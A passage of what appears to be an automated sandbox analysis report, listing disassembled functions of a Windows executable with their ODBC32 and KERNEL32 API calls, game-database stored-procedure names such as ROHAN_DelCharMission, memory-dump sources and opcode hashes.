                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044A6BF
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000029,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044A6EF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c2a0f8d7b84fb2989841d90031fb60af17d2917b8f39b0948e4b58b7ab8fbad7
                                                                                                                            • Instruction ID: 3a892ed7a23c088e00ed9fc1def5095df269fd3c290d821a2561a4d694028ee4
                                                                                                                            • Opcode Fuzzy Hash: c2a0f8d7b84fb2989841d90031fb60af17d2917b8f39b0948e4b58b7ab8fbad7
                                                                                                                            • Instruction Fuzzy Hash: DB411E71A01118BBDB64CB99DC55FAA7335EB48728F208288F6186B3D1DA75ED808F58
                                                                                                                            Function 0044C76C Relevance: 10.6, APIs: 7, Instructions: 107COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044C7AD
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044C7DD
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C80D
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C83D
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?), ref: 0044C86D
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044C89D
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044C8CD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9ca19370a99fcc8b79befe27ae37131c025b91bd49294c52298a7a8170495e8d
                                                                                                                            • Instruction ID: 5dae9cc398a107faaf29c5d38da6704e10023a2910290d2cb0c91967c66e0316
                                                                                                                            • Opcode Fuzzy Hash: 9ca19370a99fcc8b79befe27ae37131c025b91bd49294c52298a7a8170495e8d
                                                                                                                            • Instruction Fuzzy Hash: 9B41EDB1A00158ABDB64DB09CC59FAA7375EB44718F2083CAF6197B3D1DA71AD80CF54
                                                                                                                            Function 00447A5A Relevance: 10.6, APIs: 7, Instructions: 107COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 00447A9B
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 00447ACB
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?), ref: 00447AFB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000E7,?), ref: 00447B2B
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?), ref: 00447B5B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?), ref: 00447B8B
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?), ref: 00447BBB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 000cbbbe72567b516380c1ec00272958dc4613e6e6ef17178f7241862a040819
                                                                                                                            • Instruction ID: 8a9b62c7d453b35fe3504be4cd35f9f0199a72f8f41645cae0334b4f3416973e
                                                                                                                            • Opcode Fuzzy Hash: 000cbbbe72567b516380c1ec00272958dc4613e6e6ef17178f7241862a040819
                                                                                                                            • Instruction Fuzzy Hash: C541D9B1E00228ABDB24DF09CD51FEB7379EB84718F108288F6196A381D672AD90CB54
                                                                                                                            Function 004BA03B Relevance: 10.6, APIs: 7, Instructions: 96memoryCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(?,00000000,?,?,?,?,004BA2B4,?,00000000,?,?,?,?,004B8CF6,004B878D,004A2D43), ref: 004BA04B
                                                                                                                            • TlsGetValue.KERNEL32(?,?,?,?,?,004BA2B4,?,00000000,?,?,?,?,004B8CF6,004B878D,004A2D43,00412E13), ref: 004BA069
                                                                                                                            • LocalAlloc.KERNEL32(00000000,?,00000010,?,?,?,?,004BA2B4,?,00000000,?,?,?,?,004B8CF6,004B878D), ref: 004BA0C5
                                                                                                                            • LocalReAlloc.KERNEL32(?,?,00000002,00000010,?,?,?,?,004BA2B4,?,00000000,?,?,?,?,004B8CF6), ref: 004BA0D7
                                                                                                                            • LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,004BA2B4,?,00000000,?,?,?,?,004B8CF6,004B878D,004A2D43,00412E13), ref: 004BA0E4
                                                                                                                            • TlsSetValue.KERNEL32(?,00000000,004A2D43,00412E13,00000000), ref: 004BA114
                                                                                                                            • LeaveCriticalSection.KERNEL32(?,?,?,?,?,004BA2B4,?,00000000,?,?,?,?,004B8CF6,004B878D,004A2D43,00412E13), ref: 004BA135
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSection$AllocLeaveLocalValue$Enter
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 784703316-0
                                                                                                                            • Opcode ID: 62b0c3de76e0c949c7e86858076af5ebc183ba065aa93d4b20bc2492c59e6847
                                                                                                                            • Instruction ID: 78208e80d11eea3c4e62f469a1dbc4c0846e8f662cde8e17d1a1bca2d02d2675
                                                                                                                            • Opcode Fuzzy Hash: 62b0c3de76e0c949c7e86858076af5ebc183ba065aa93d4b20bc2492c59e6847
                                                                                                                            • Instruction Fuzzy Hash: 1731AC75600605AFCB24AF59C884CAAB7F9FF44354B10852EE956D3621C738ED60CBAA
                                                                                                                            Function 0043FA77 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?, { ? = CALL [ROHAN_AddHonorCrone] (?, ?, ?)},000000FD), ref: 0043FAA0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043FAE2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043FB17
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043FB4F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043FB87
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_AddHonorCrone] (?, ?, ?)}, xrefs: 0043FA97
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_AddHonorCrone] (?, ?, ?)}
                                                                                                                            • API String ID: 0-1073649337
                                                                                                                            • Opcode ID: 20ce0c0c5c5edb042647dd3ecacef58e530fe85875bf05d935b12e91fcc8ce49
                                                                                                                            • Instruction ID: ac42b0b11d73838fd2a02335caafb0b3953ef68f6c56e0a532f692b45393059f
                                                                                                                            • Opcode Fuzzy Hash: 20ce0c0c5c5edb042647dd3ecacef58e530fe85875bf05d935b12e91fcc8ce49
                                                                                                                            • Instruction Fuzzy Hash: EA31F0B46812157BEB24DF04CC52FD97374EB84715F1083C8F628AE2C5D6B5A9608F58
                                                                                                                            Function 004420B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelCharMission] (?, ?, ?)},000000FD), ref: 004420D0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044210F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00442144
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0044217C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004421B4
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelCharMission] (?, ?, ?)}, xrefs: 004420C7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelCharMission] (?, ?, ?)}
                                                                                                                            • API String ID: 0-2751184254
                                                                                                                            • Opcode ID: ffe34146f7950a03eeb0c7135f399785632ee469d4a43202d5951a3ae3b746db
                                                                                                                            • Instruction ID: 8d2d88f43799c705a559c9fc5f0fd2a4c4899f3bf3ed9cc6a0b293914d8ecef7
                                                                                                                            • Opcode Fuzzy Hash: ffe34146f7950a03eeb0c7135f399785632ee469d4a43202d5951a3ae3b746db
                                                                                                                            • Instruction Fuzzy Hash: AA312274A40214ABEB24CB45EC52FD97374EB84B54F2082CDF6182FAC4D5F16E808F58
                                                                                                                            Function 0043A3E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelCharTitle] (?, ?, ?)},000000FD), ref: 0043A409
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043A448
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043A47D
